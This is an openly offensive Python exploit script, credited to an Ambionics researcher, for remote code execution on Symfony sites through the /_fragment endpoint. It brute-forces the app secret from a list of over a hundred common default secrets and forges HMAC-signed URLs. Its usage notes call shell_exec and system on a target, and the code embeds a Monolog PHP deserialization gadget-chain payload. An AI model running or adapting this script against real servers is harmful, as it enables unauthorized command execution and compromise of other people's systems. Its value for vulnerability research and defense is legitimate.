#!/usr/bin/env python3 # Symfony _fragment RCE # 2020-10-19 # cfreal # URL: https://www.ambionics.io/blog/symfony-secret-fragment # ## USAGE # ### DISCOVERY # # No idea what I'm doing: # $ ./secret_fragment.php https://target.com/_fragment # # I found the key somewhere: # $ ./secret_fragment.php https://target.com/_fragment --secret 'CustomKey123!' # # I know the internal path: # $ ./secret_fragment.php https://target.com/_fragment \ # --internal-url http://target.internal.com/_fragment # # I know the hashing algorithm: # $ ./secret_fragment.php https://target.com/_fragment --algo sha1 # ### EXPLOIT # # There are two methods. Using --method 1/2 will generate an URL using the # given parameters, and display it. It won't issue an HTTP request. # #### METHOD 1 # # * Calls the function straight up # * Older versions (?) # * Function takes an arbitrary number of parameters # * Sometimes, every parameter must be given, with its name # # Example: Calls phpinfo($what): # # $ ./symfony_fragment.php https://target.com/_fragment \ # --internal-url http://target.internal.com/_fragment # --secret 'CustomKey123!' \ # --method 1 # --function phpinfo # --parameters what:-1 # # The name of the parameter, "what", is IMPORTANT. It must match the doc. # # Example: Calls toto($a, $b): # # $ ./symfony_fragment.php https://target.com/_fragment \ # --internal-url http://target.internal.com/_fragment # --secret 'CustomKey123!' \ # --method 1 # --function toto # --parameters a:value_for_a b:value_for_b # # Example: Calls shell_exec($cmd): # # $ ./symfony_fragment.php https://target.com/_fragment \ # --internal-url http://target.internal.com/_fragment # --secret 'CustomKey123!' \ # --method 1 # --function shell_exec # --parameters cmd:'id > ./out.txt' # #### METHOD 2 # # * Symfony\Component\Yaml\Inline::parse -> YAML -> unserialize() # * Recent versions (?) # * Requires Monolog # * Function takes one parameter only # # Example: Calls system('id'): # # $ ./symfony_fragment.php https://target.com/_fragment \ # --internal-url http://target.internal.com/_fragment # --secret 'CustomKey123!' \ # --method 2 # --function system # --parameters 'id' # # Here, no need to match the parameter. Just straight up send it. # import argparse import requests import hashlib import hmac import base64 import urllib.parse as up import urllib3 import itertools import sys # Collection of standard secrets USUAL_SECRETS = [ 'ThisTokenIsNotSoSecretChangeIt', 'ThisEzPlatformTokenIsNotSoSecret_PleaseChangeIt', '', 'ff6dc61a329dc96652bb092ec58981f7', '', '54de6f999a511111e232d9a5565782f1', 'Wh4t3v3r', 'cc86c7ca937636d5ddf1b754beb22a10', '00811410cc97286401bd64101121de999b', '29f90564f9e472955211be8c5e05ee0a', '1313eb8ff3f07370fe1501a2fe57a7c7', 'c78ebf740b9db52319c2c0a201923d62', 'test', '24e17c47430bd2044a61c131c1cf6990', 'EDITME', '4fd436666d9d29dd0773348c9d4be05c', 'd120bc9442daf50769276abd769df8e9', 'HeyIAmSecret', '!ChangeMe!', '${APP_SECRET}', '17fe130b189469cd85de07822d362f56', '16b10f9d2e7885152d41ea6175886563a', 's$cretf0rt3st', '44705a2f4fc85d70df5403ac8c7649fd', 'd6f9c4f8997e182557e0602aa11c68ca', '%env(resolve:APP_SECRET)%', '964f0359a5e14dd8395fe334867e9709', '31ab70e5aea4699ba61deddc8438d2f1', '%secret%', '9fc8286ff23942648814f85ee18381bc', 'foobar123', 'ClickToGenerate', 'secretthings', 'thisvariableissuddenlyneededhere', '9258a6c0e5c19d0d58a8c48bbc757491', '2eb810c79fba0dd5c029a2fa53bfdb51', 'secret', '81d300585b3dfdf6a3161e48d970e2baea252e42', 'thesecret', 'xxxxxxxxxx', 'b92c43d084fa449351e0524bf60bf972', '24f508c1071242299426ae6af85d5309', '2a0f335581bd72b6077840e29d73ba36', 'klasjdfklajsdfkajsédfkjiewoji', '6eb99720adab08a18624be3388d9f850', 'cf4d2c8e2757307d2c679b176e6d6070', 'pasteYourSecretKeyHere', 'asecretkey', 'This is a secret, change me', '300d7b538e92e90197c3b5b2d2f8fa3f', '966536d311ddae0996d1ffd21efa1027', '307fbdc5fd538f6d733e8a2f773b6a39', '5ea3114a349591bd131296e00f21c20a', '123456789', '13bb5de558715e730e972ab52626ab6a', '4d1f86e8d726abe792f9b65e1b60634c', 'adc3f69b4b8262565f7abb9513de7f36', '5ub5upfxih0k8g44w00ogwc4swog4088o8444sssos8k888o8g', 'ThisIsNotReallySecretButOK', 'f78d2a48cbd00d92acf418a47a0a5c3e', '123', '8b3fdfaddad056c4ca759ffe81156eafb10f30fc', '43db4c69b1c581489f70c4512191e484', 'Xjwr91jr~j3gV-d6w@2&oI)wFc5ZiL', '<app-secret-id>', '8c6e5404e4f1e5934b5b2da46cadaef0', '1083dc7bfd20cc8c2bd10148631513ecf7', 'd3e2fa9715287ba25b2d0fd41685ac031970f555', 'super_secret', '6b566e17cf0965eb4db2fef5f41bae18', '859bdea01e182789f006e295b33275af', 'bdb22a4d4f0ed0e35a97fed13f18646f', '8501eeca7890b89042ccae7318a44fb1', 'dbd3856a5c7b24c92263323e797ec91c', 'xxxxxxxxxxxxxxxxx', 'bca0540d761fb1055893195ad87acf07', '123123', 'IAmNotSecret', 'WhateverYouLikeTo', 'bf05fa89ece928e6d1ecec0c38a008ee', 'xxxxxxxaxaxaxa', '97829395eda62d81f37980176ded371a', 'YOUR_APP_SECRET', '879a6adeceeccbdc835a19f7e3aad7e8', 'some_new_secret_123', 'f96c2d666ace1278ec4c9e2304381bc3', '7d41a4acde33432b1d51eae15a301550', '236cd9304bb88b11e2bb4d56108dffa8', '8cfa2bd0b50b7db00e9c186be68f7ce7465123d3', 'dd4aaa68cebc5f632a489bfa522a0adc', 's3kr3t', '3d05afda019ed4e3faaf936e3ce393ba', 'a3aeede1199a907af36438508bb59cb8', '!NotSoSecretChangeMe!', 'gPguz9ImBhOIRCntIJPwbqbFJTZjqSHaq8AkTk2pdoHYw35rYRs9VHX0', '367d9a07f619290b5cae0ab961e4ab94', 'changeMeInDotEnvDotLocal', '{your-app-secret}', '32bb1968190362d214325d23756ffd65', '4f113cda46d1808807ee7e263da59a47', '67d829bf61dc5f87a73fd814e2c9f629', 'cbe614ba25712be13e5ec4b651f61b06', '8d2a5c935d8ef1c0e2b751147382bc75', 'thefamoussecretkeylol', '%env(APP_SECRET)%', 'fe2ed475a06588e021724adc11f52849', 'b2baa331595d5773b63d2575d568be73', '$ecretf0rt3st', 'SuperSecretToken' ] urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def main(): args = get_args() session = requests.Session() #session.proxies = {'http': 'localhost:8080', 'https': 'localhost:8080'} session.headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0'} session.verify = False if not args.method and not args.ignore_original_status: response = session.get(args.url) if response.status_code != 403: e( 'The URL /_fragment did not return 403, ' f'but {response.status_code}\n' 'Restart with --ignore-original-status to force.' ) o('The URL /_fragment returns 403, cool') mutations = generate_mutations( args.url, args.internal_url, args.secret, args.algo ) if len(mutations) > 1: print() print(f'Trying {len(mutations)} mutations...') for algo, secret, internal_url in mutations: url = build_url_with_hash(args.url, internal_url, secret, algo) response = session.get(url) code = response.status_code if code != 403: o(f' (OK) {algo} {secret} {internal_url} {code} {url}') break f(f' (KO) {algo} {secret} {internal_url} {code} {url}') else: e('No mutation works') else: algo, secret, internal_url = mutations[0] # At this point we have the key, algo, and the internal URL, this should be # a piece of cake # No method ? Find it ourselves if not args.method: print() print('Trying both RCE methods...') url = build_url_with_hash( args.url, internal_url, secret, algo, _controller='phpinfo', what='-1', ) response = session.get(url) if b'phpinfo()' in response.content: o(' Method 1: Success!') print('') print(f'PHPINFO: {url}') print( f'RUN: ' f'{sys.argv[0]} ' f'{args.url!r} ' f'--method 1 ' f'--secret {secret!r} ' f'--algo {algo!r} ' f'--internal-url {internal_url!r} ' f'--function phpinfo ' f'--parameters what:-1' ) return f(' Method 1: Failure!') url = build_url_with_yaml_payload( args.url, internal_url, secret, algo, function='phpinfo', argument='-1' ) response = session.get(url) if b'phpinfo()' in response.content: o(' Method 2: Success!') print('') print(f'PHPINFO: {url}') print( f'RUN: ' f'{sys.argv[0]} ' f'{args.url!r} ' f'--method 2 ' f'--secret {secret!r} ' f'--internal-url {internal_url!r} ' f'--function phpinfo ' f'--parameters=-1' ) return f(' Method 2: Failure!') print() f('BOTH METHODS FAILED, UNLUCKY') print( 'This does not mean you cannot make it work. This just means a ' 'robot failed to exploit a vulnerability.' ) elif args.method == 1: infos = dict(item.split(':', 1) for item in (args.parameters or [])) infos['_controller'] = args.function url = build_url_with_hash(args.url, internal_url, secret, algo, **infos) print(url) elif args.method == 2: url = build_url_with_yaml_payload( args.url, internal_url, secret, algo, args.function, args.parameters[0] ) print(url) else: e(f'Unknown method {args.method!r}') def compute_hmac(secret, data, algo): algo = getattr(hashlib, algo) token = hmac.new(secret.encode(), data.encode(), algo).digest() return base64.b64encode(token) def generate_mutations(url, internal_url, secret, algo): """Generates every potential (internal_url, secret) pair. Those pairs will be tried one by one until something works. """ if internal_url: internal_urls = [internal_url] elif url.startswith('https://'): internal_urls = [ url, url.replace('https://', 'http://') ] else: internal_urls = [ url, url.replace('http://', 'https://') ] secrets = secret is not None and [secret] or USUAL_SECRETS algos = ['sha256', 'sha1'] if not algo else [algo] return list(itertools.product(algos, secrets, internal_urls)) def get_args(): parser = argparse.ArgumentParser() parser.add_argument('url', help='Target URL') parser.add_argument( '-i', '--internal-url', help='URL used to compute the hash' ) parser.add_argument('-s', '--secret', help='Secret key') parser.add_argument( '-a', '--algo', help='Hash algorithm (sha1/sha256)', choices=['sha1', 'sha256'] ) parser.add_argument('-f', '--function', help='PHP function to call') parser.add_argument( '-p', '--parameters', help=( 'PHP function parameters in the form "name0:value0" "name1:value1" ' 'for method 1 or just "param" for method 2' ), nargs='*' ) parser.add_argument( '--ignore-original-status', help=( 'Ignore /_fragment\'s original status code, instead of requiring a ' '403' ), action='store_true' ) parser.add_argument('-m', '--method', help='Method to use (1, 2)', type=int) return parser.parse_args() # Hash def build_url_with_hash(url, internal_url, secret, algo, **infos): infos = up.quote_plus(up.urlencode(infos)) query_string = f'?_path={infos}' to_sign = f'{internal_url}{query_string}' _hash = compute_hmac(secret, to_sign, algo) # On some Symfony versions, the URL-encoded versions of the hashes are # compared, so we need the URL-encoding to match PHP's. # Python does not replace "/", but PHP does. quoted_hash = up.quote(_hash).replace('/', '%2F') return f'{url}{query_string}&_hash={quoted_hash}' def build_url_with_yaml_payload( url, internal_url, secret, algo, function, argument ): # ./phpggc -s -- monolog/rce1 phpinfo -1 payload = ( r'O:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"%00*%00socket"%3BO:29' r':"Monolog\Handler\BufferHandler":7:{s:10:"%00*%00handler"%3BO:29:"Mon' r'olog\Handler\BufferHandler":7:{s:10:"%00*%00handler"%3BN%3Bs:13:"%00*' r'%00bufferSize"%3Bi:-1%3Bs:9:"%00*%00buffer"%3Ba:1:{i:0%3Ba:2:{i:0%3Bs' r':2:"-1"%3Bs:5:"level"%3BN%3B}}s:8:"%00*%00level"%3BN%3Bs:14:"%00*%00i' r'nitialized"%3Bb:1%3Bs:14:"%00*%00bufferLimit"%3Bi:-1%3Bs:13:"%00*%00p' r'rocessors"%3Ba:2:{i:0%3Bs:7:"current"%3Bi:1%3Bs:[SZ_FUNC]:"[FUNC]"%3B' r'}}s:13:"%00*%00bufferSize"%3Bi:-1%3Bs:9:"%00*%00buffer"%3Ba:1:{i:0%3B' r'a:2:{i:0%3Bs:[SZ_ARG]:"[ARG]"%3Bs:5:"level"%3BN%3B}}s:8:"%00*%00level' r'"%3BN%3Bs:14:"%00*%00initialized"%3Bb:1%3Bs:14:"%00*%00bufferLimit"%3' r'Bi:-1%3Bs:13:"%00*%00processors"%3Ba:2:{i:0%3Bs:7:"current"%3Bi:1%3Bs' r':[SZ_FUNC]:"[FUNC]"%3B}}}' ) payload = ( up.unquote(payload) .replace('[SZ_FUNC]', str(len(function))) .replace('[FUNC]', function) .replace('[SZ_ARG]', str(len(argument))) .replace('[ARG]', argument) ) return build_url_with_hash( url, internal_url, secret, algo, _controller=r'Symfony\Component\Yaml\Inline::parse', value=f'!php/object {payload}', exceptionOnInvalidType='0', objectSupport='1', objectForMap='0', references='', flags='516' ) # Output stuff def o(x): print('\x1b[32m' + x + '\x1b[39m') def f(x): print('\x1b[31m' + x + '\x1b[39m') def e(x): f(x) exit() # Run the whole thing main()